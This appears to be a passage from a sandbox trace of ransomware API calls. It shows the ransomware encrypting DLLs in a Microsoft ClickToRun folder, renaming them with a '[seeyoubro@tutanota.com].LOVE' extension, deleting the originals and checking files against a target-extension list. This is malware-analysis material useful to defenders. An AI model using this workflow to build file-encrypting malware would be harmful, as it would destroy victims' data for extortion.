Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.301] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.301] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0209.348] GetLastError () returned 0x0 [0209.348] ReadFile (in: hFile=0x368, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0209.358] WriteFile (in: hFile=0x300, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0209.359] ReadFile (in: hFile=0x368, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.359] WriteFile (in: hFile=0x300, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x122, lpOverlapped=0x0) returned 1 [0209.359] SetEndOfFile (hFile=0x300) returned 1 [0209.359] CloseHandle (hObject=0x300) returned 1 [0209.360] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.360] SetEndOfFile (hFile=0x368) returned 1 [0209.361] CloseHandle (hObject=0x368) returned 1 [0209.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.362] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0209.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.362] lstrlenW (lpString=".doc") returned 4 [0209.362] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.362] lstrlenW (lpString=".docx") returned 5 [0209.362] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.362] lstrlenW (lpString=".pdf") returned 4 [0209.362] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.362] lstrlenW (lpString=".xls") returned 4 [0209.362] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.362] lstrlenW (lpString=".xlsx") returned 5 [0209.362] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.362] lstrlenW (lpString=".ppt") returned 4 [0209.362] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.362] lstrlenW (lpString=".zip") returned 4 [0209.362] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.362] lstrlenW (lpString=".rar") returned 4 [0209.362] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.362] lstrlenW (lpString=".bz2") returned 4 [0209.362] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.362] lstrlenW (lpString=".7z") returned 3 [0209.362] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.363] lstrlenW (lpString=".dbf") returned 4 [0209.363] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.363] lstrlenW (lpString=".1cd") returned 4 [0209.363] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.363] lstrlenW (lpString=".jpg") returned 4 [0209.363] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.363] lstrlenW (lpString=".doc") returned 4 [0209.363] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.363] lstrlenW (lpString=".docx") returned 5 [0209.363] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.363] lstrlenW (lpString=".pdf") returned 4 [0209.363] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.363] lstrlenW (lpString=".xls") returned 4 [0209.363] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.363] lstrlenW (lpString=".xlsx") returned 5 [0209.363] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.363] lstrlenW (lpString=".ppt") returned 4 [0209.363] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.363] lstrlenW (lpString=".zip") returned 4 [0209.363] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.363] lstrlenW (lpString=".rar") returned 4 [0209.363] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.363] lstrlenW (lpString=".bz2") returned 4 [0209.363] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.363] lstrlenW (lpString=".7z") returned 3 [0209.363] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.363] lstrlenW (lpString=".dbf") returned 4 [0209.364] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.364] lstrlenW (lpString=".1cd") returned 4 [0209.364] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0209.364] lstrlenW (lpString=".jpg") returned 4 [0209.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.364] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.364] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0209.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.369] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=18624) returned 1 [0209.369] CloseHandle (hObject=0x348) returned 1 [0209.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0209.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.370] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.370] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.370] GetLastError () returned 0x0 [0209.370] ReadFile (in: hFile=0x348, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0209.384] WriteFile (in: hFile=0x384, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0209.385] ReadFile (in: hFile=0x348, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.385] WriteFile (in: hFile=0x384, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11a, lpOverlapped=0x0) returned 1 [0209.385] SetEndOfFile (hFile=0x384) returned 1 [0209.386] CloseHandle (hObject=0x384) returned 1 [0209.387] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.387] SetEndOfFile (hFile=0x348) returned 1 [0209.387] CloseHandle (hObject=0x348) returned 1 [0209.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0209.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.388] lstrlenW (lpString=".doc") returned 4 [0209.388] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.388] lstrlenW (lpString=".docx") returned 5 [0209.388] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.388] lstrlenW (lpString=".pdf") returned 4 [0209.388] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.388] lstrlenW (lpString=".xls") returned 4 [0209.388] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.388] lstrlenW (lpString=".xlsx") returned 5 [0209.388] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.388] lstrlenW (lpString=".ppt") returned 4 [0209.388] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.388] lstrlenW (lpString=".zip") returned 4 [0209.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.389] lstrlenW (lpString=".rar") returned 4 [0209.389] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.389] lstrlenW (lpString=".bz2") returned 4 [0209.389] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.389] lstrlenW (lpString=".7z") returned 3 [0209.389] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.389] lstrlenW (lpString=".dbf") returned 4 [0209.389] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.389] lstrlenW (lpString=".1cd") returned 4 [0209.389] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.389] lstrlenW (lpString=".jpg") returned 4 [0209.389] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.389] lstrlenW (lpString=".doc") returned 4 [0209.389] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.389] lstrlenW (lpString=".docx") returned 5 [0209.389] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.389] lstrlenW (lpString=".pdf") returned 4 [0209.389] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.389] lstrlenW (lpString=".xls") returned 4 [0209.389] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.389] lstrlenW (lpString=".xlsx") returned 5 [0209.389] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.389] lstrlenW (lpString=".ppt") returned 4 [0209.389] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.389] lstrlenW (lpString=".zip") returned 4 [0209.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.390] lstrlenW (lpString=".rar") returned 4 [0209.390] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.390] lstrlenW (lpString=".bz2") returned 4 [0209.390] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.390] lstrlenW (lpString=".7z") returned 3 [0209.390] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.390] lstrlenW (lpString=".dbf") returned 4 [0209.390] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.390] lstrlenW (lpString=".1cd") returned 4 [0209.390] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0209.390] lstrlenW (lpString=".jpg") returned 4 [0209.390] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.390] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.390] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0209.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.390] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=11616) returned 1 [0209.390] CloseHandle (hObject=0x348) returned 1 [0209.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0209.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.391] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.391] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.391] GetLastError () returned 0x0 [0209.391] ReadFile (in: hFile=0x348, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0209.403] WriteFile (in: hFile=0x384, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0209.403] ReadFile (in: hFile=0x348, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.403] WriteFile (in: hFile=0x384, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x116, lpOverlapped=0x0) returned 1 [0209.404] SetEndOfFile (hFile=0x384) returned 1 [0209.404] CloseHandle (hObject=0x384) returned 1 [0209.404] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.404] SetEndOfFile (hFile=0x348) returned 1 [0209.405] CloseHandle (hObject=0x348) returned 1 [0209.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.406] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0209.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.406] lstrlenW (lpString=".doc") returned 4 [0209.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.406] lstrlenW (lpString=".docx") returned 5 [0209.406] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.406] lstrlenW (lpString=".pdf") returned 4 [0209.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.406] lstrlenW (lpString=".xls") returned 4 [0209.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.406] lstrlenW (lpString=".xlsx") returned 5 [0209.406] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.406] lstrlenW (lpString=".ppt") returned 4 [0209.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.406] lstrlenW (lpString=".zip") returned 4 [0209.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.406] lstrlenW (lpString=".rar") returned 4 [0209.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.406] lstrlenW (lpString=".bz2") returned 4 [0209.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.406] lstrlenW (lpString=".7z") returned 3 [0209.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.407] lstrlenW (lpString=".dbf") returned 4 [0209.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.407] lstrlenW (lpString=".1cd") returned 4 [0209.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.407] lstrlenW (lpString=".jpg") returned 4 [0209.407] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.407] lstrlenW (lpString=".doc") returned 4 [0209.407] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.407] lstrlenW (lpString=".docx") returned 5 [0209.407] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.407] lstrlenW (lpString=".pdf") returned 4 [0209.407] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.407] lstrlenW (lpString=".xls") returned 4 [0209.407] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.407] lstrlenW (lpString=".xlsx") returned 5 [0209.407] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.407] lstrlenW (lpString=".ppt") returned 4 [0209.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.407] lstrlenW (lpString=".zip") returned 4 [0209.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.407] lstrlenW (lpString=".rar") returned 4 [0209.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.407] lstrlenW (lpString=".bz2") returned 4 [0209.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.407] lstrlenW (lpString=".7z") returned 3 [0209.407] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.407] lstrlenW (lpString=".dbf") returned 4 [0209.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.407] lstrlenW (lpString=".1cd") returned 4 [0209.408] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0209.408] lstrlenW (lpString=".jpg") returned 4 [0209.408] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.408] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.408] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0209.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 